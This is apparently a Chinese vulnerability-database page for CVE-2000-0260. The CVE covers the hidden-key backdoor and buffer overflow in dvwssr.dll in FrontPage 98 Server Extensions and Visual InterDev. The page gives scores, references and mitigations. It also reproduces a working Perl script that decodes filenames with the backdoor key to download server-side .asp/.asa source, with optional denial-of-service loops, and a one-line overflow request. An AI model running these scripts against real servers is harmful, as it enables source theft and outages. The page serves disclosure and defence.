CVE-2000-0260
CVSS7.5
发布时间 :2000-04-14 00:00:00
修订时间 :2008-09-10 15:03:46
NMCOE    

[原文]Buffer overflow in the dvwssr.dll DLL in Microsoft Visual Interdev 1.0 allows users to cause a denial of service or execute commands, aka the "Link View Server-Side Component" vulnerability.


[CNNVD]Microsoft IIS 4.0 FrontPage 98扩展察看CGI脚本源代码后门漏洞(MS00-025)(CNNVD-200004-032)

        
        FrontPage 98 Extensions是微软的一个产品,包括PWS和IIS版本,可以让网页设计人员方便的直接用FrontPage直接连接到PWS或者IIS上进行网页创作。
        FrontPage 98 Extensions包含的两个动态连接库文件存在两个后门,可以被攻击者利用来查看CGI程序源代码。
        微软IIS FrontPage 98 extensions所带的两个动态连接库dvwssr.dll和mtd2lv.dll存在一个隐藏后门。这个后门实际上是一个隐藏的字符串:"Netscape engineers are weenies!"。攻击者可以将要下载的.asp文件(或者global.asa)名用这隐含字符串编码,并提供给dvwssr.dll就可能远程下载web服务器上的.asp或者.asa源代码。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:visual_interdev:1.0Microsoft InterDev 1.0
cpe:/a:microsoft:frontpageMicrosoft Frontpage

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0260
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0260
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200004-032
(官方数据源) CNNVD

- 其它链接及资源

http://www.microsoft.com/technet/security/bulletin/ms00-025.asp
(UNKNOWN)  MS  MS00-025
http://www.securityfocus.com/bid/1109
(UNKNOWN)  BID  1109
http://www.osvdb.org/282
(UNKNOWN)  OSVDB  282

- 漏洞信息

Microsoft IIS 4.0 FrontPage 98扩展察看CGI脚本源代码后门漏洞(MS00-025)
高危 边界条件错误
2000-04-14 00:00:00 2005-10-12 00:00:00
远程  
        
        FrontPage 98 Extensions是微软的一个产品,包括PWS和IIS版本,可以让网页设计人员方便的直接用FrontPage直接连接到PWS或者IIS上进行网页创作。
        FrontPage 98 Extensions包含的两个动态连接库文件存在两个后门,可以被攻击者利用来查看CGI程序源代码。
        微软IIS FrontPage 98 extensions所带的两个动态连接库dvwssr.dll和mtd2lv.dll存在一个隐藏后门。这个后门实际上是一个隐藏的字符串:"Netscape engineers are weenies!"。攻击者可以将要下载的.asp文件(或者global.asa)名用这隐含字符串编码,并提供给dvwssr.dll就可能远程下载web服务器上的.asp或者.asa源代码。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 手工删除dvwssr.dll和mtd2lv.dll程序。
        注意:安装Office 2000 Server Extensions或FrontPage 2000 Server Extensions会自动移除该后门。
        厂商补丁:
        Microsoft
        ---------
        Microsoft已经为此发布了一个安全公告(MS00-025):
        MS00-025:Procedure Available to Eliminate "Link View Server-Side Component" Vulnerability
        链接:
        http://www.microsoft.com/technet/security/bulletin/MS00-025.asp

- 漏洞信息 (19845)

MS FrontPage 98 Server Extensions for IIS,MS InterDev 1.0 Filename Obfuscation (EDBID:19845)
windows remote
2000-04-14 Verified
0 rain forest puppy
N/A [点击下载]
source: http://www.securityfocus.com/bid/1108/info

Two dlls (dvwssr.dll and mtd2lv.dll) included with the FrontPage 98 extensions for IIS and shipped as part of the NT Option Pack include an obfuscation string that manipulates the name of requested files. Knowing this string and the obfuscation algorithm allows anyone with web authoring privileges on the target host to download any .asp or .asa source on the system (including files outside the web root, through usage of the '../' string). This includes users with web authoring rights to only one of several virtual hosts on a system, allowing one company to potentially gain access to the source of another company's website if hosted on the same physical machine. 

#!/usr/bin/perl
# dvwssr.pl DEMONSTRATION by rain forest puppy
#
# rfp@wiretrip.net / www.wiretrip.net/rfp/
#
# usage:  ./dvwssr.pl <target host> <file to request>
#
# example:  ./dvwssr.pl localhost /default.asp

use Socket;

$ip=$ARGV[0];
$file=$ARGV[1];

print "Encoding to: ".encodefilename($file)."\n";

$DoS=0;  # change to 1 to run the denial of service code

if($DoS==0){ # regular request

$url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
        " HTTP/1.0\n\n";
print sendraw($url);

} else {# denial of service - this is crud that I used to make it 
        # crash on accident.  The code was for testing something
        # else.  I provide it as-is so you can reproduce exactly
        # what I was doing.

 for($x=206;$x>0;$x--){
  $B='A'x $x;
  $file="/$B/..".$file; print "$x ";
  $url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
        " HTTP/1.0\n\n";
  print sendraw($url);
 }

# another DoS in the script; uncomment if you're a DoS kiddie.

#  $B='A'x 10000;
#  $file="/$B/../die.asp";
#  $url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file).
#       " HTTP/1.0\n\n";
#  print sendraw($url);

}

sub encodefilename {
my $from=shift;
my
$slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
my $key="Netscape engineers are weenies!";
my $kc=length($from)%31; # this was fixed to include the '%31'
my ($fv,$kv,$tmp,$to,$lett);
@letts=split(//,$from);
 foreach $lett (@letts){
  $fv=index $slide, $lett;
  $fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0);
  $kv=index $slide, substr $key, $kc, 1;
  if($kv>=0 && $fv>=0){
   $tmp= $kv - $fv;
   if($tmp <0){$tmp +=62;}
   $to.=substr $slide, $tmp,1; } else {
   $to.=$lett;}
  if(++$kc >= length($key)){ $kc=0;}
 }return $to;}

sub sendraw {
        my ($pstr)=@_;
        my $target;
        $target= inet_aton($ip) || die("inet_aton problems");
        socket(S,2,1,getprotobyname('tcp')||0) || die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S);              $|=1;
                print $pstr;            my @in=<S>;
                select(STDOUT);         close(S);
                return @in;
        } else { die("Can't connect...\n"); }}



		

- 漏洞信息 (19846)

MS FrontPage 98 Server Extensions for IIS,MS InterDev 1.0 Buffer Overflow Vulnerability (EDBID:19846)
windows remote
2000-04-14 Verified
0 Richie & Beto
N/A [点击下载]
source: http://www.securityfocus.com/bid/1109/info

The dvwssr.dll included with the FrontPage 98 extensions for IIS and shipped as part of the NT Option Pack has a remotely exploitable buffer overflow. This attack will result in the service no longer accepting connections and may allow for remote code execution on the vulnerable host. 


#!/usr/bin/perl
print "GET /_vti_bin/_vti_aut/dvwssr.dll?";
print "a" x 5000;
print " HTTP/1.1\nHost: yourhost\n\n"; 		

- 漏洞信息

282
Microsoft FrontPage dvwssr.dll Backdoor and Overflow
Remote / Network Access Input Manipulation
Loss of Integrity Workaround
Exploit Public Third-party Verified

- 漏洞描述

The Microsoft FrontPage 'dvwssr.dll' file contains a backdoor password and a flaw that allows anyone with web authoring permissions to change other user's files. It also has a buffer overflow that allows an attacker to run arbitrary commands.

- 时间线

2000-04-14 Unknow
Unknow Unknow

- 解决方案

Set the permissions on the /_vti_bin/_vti_aut/ folder as: Administrators: Full Control, System: Full Control. If you do not need FrontPage Server Extension authoring, delete dvwssr.dll. However, this may damage Interdev functionality.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站